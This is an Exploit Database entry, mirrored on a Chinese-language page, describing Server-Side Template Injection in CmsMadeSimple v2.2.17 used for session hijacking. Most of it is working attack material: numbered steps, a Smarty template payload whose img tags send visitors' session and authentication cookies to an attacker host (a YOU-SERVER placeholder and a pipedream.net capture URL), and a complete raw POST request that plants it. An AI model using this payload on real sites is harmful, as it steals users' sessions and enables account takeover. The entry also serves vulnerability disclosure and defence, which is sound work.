CmsMadeSimple v2.2.17 – session hijacking via Server-Side Template Injection (SSTI)

• Exploit Database
• 38 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51599/

• #Exploit Title: CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI)
  #Application: CmsMadeSimple
  #Version: v2.2.17
  #Bugs:SSTI
  #Technology: PHP
  #Vendor URL: https://www.cmsmadesimple.org/
  #Software Link: https://www.cmsmadesimple.org/downloads/cmsms
  #Date of found: 13-07-2023
  #Author: Mirabbas Ağalarov
  #Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  Steps:
  
  1. Login to test user account
  2. Go to Content Manager
  3. Add New Content
  4. set as 
  '''
  {$smarty.version}
  {{7*7}}
  {$smarty.now}
  {$smarty.template}
  <img src=YOU-SERVER/{$smarty.cookies.CMSSESSID852a6e69ca02}>
  <img src=YOU-SERVER/{$smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1}>
  <img src=YOU_SERVER/{$smarty.cookies.__c}>
  '''
  to conten_en section.
  
  5.If any user visit to page, Hacker hijack all cookie 
  
  payload: %3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E
  
  POC Request 
  
  POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=1c2c31a1c1bff4819cd&;m1_content_id=81&showtemplate=false HTTP/1.1
  Host: localhost
  Content-Length: 988
  sec-ch-ua: 
  Accept: application/json, text/javascript, */*; q=0.01
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
  sec-ch-ua-platform: ""
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: CMSSESSID852a6e69ca02=bq83g023otkn4s745acdnvbnu4; 34a3083b62a225efa0bc6b5b43335d226264c2c1=1e91865ac5c59e34f8dc1ddb6fd168a61246751d%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjoyLCJlZmZfdXNlcm5hbWUiOiJ0ZXN0IiwiaGFzaCI6IiQyeSQxMCRDQlwvWEIyNEpsWmhJNjhKQ29LcWplZXgyOUVXRDRGN2E1MTNIdUo2c3VXMUd1V3NKRTBNcEMifQ%3D%3D; __c=1c2c31a1c1bff4819cd
  Connection: close
  
  mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=1c2c31a1c1bff4819cd&m1_content_id=81&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E&menutext=test&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=&pagedata=&design_id=2&template_id=10&alias=test&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&ownerid=1&additional_editors=&m1_ajax=1&m1_apply=1
  
  Poc Video: https://youtu.be/zq3u3jRpfqM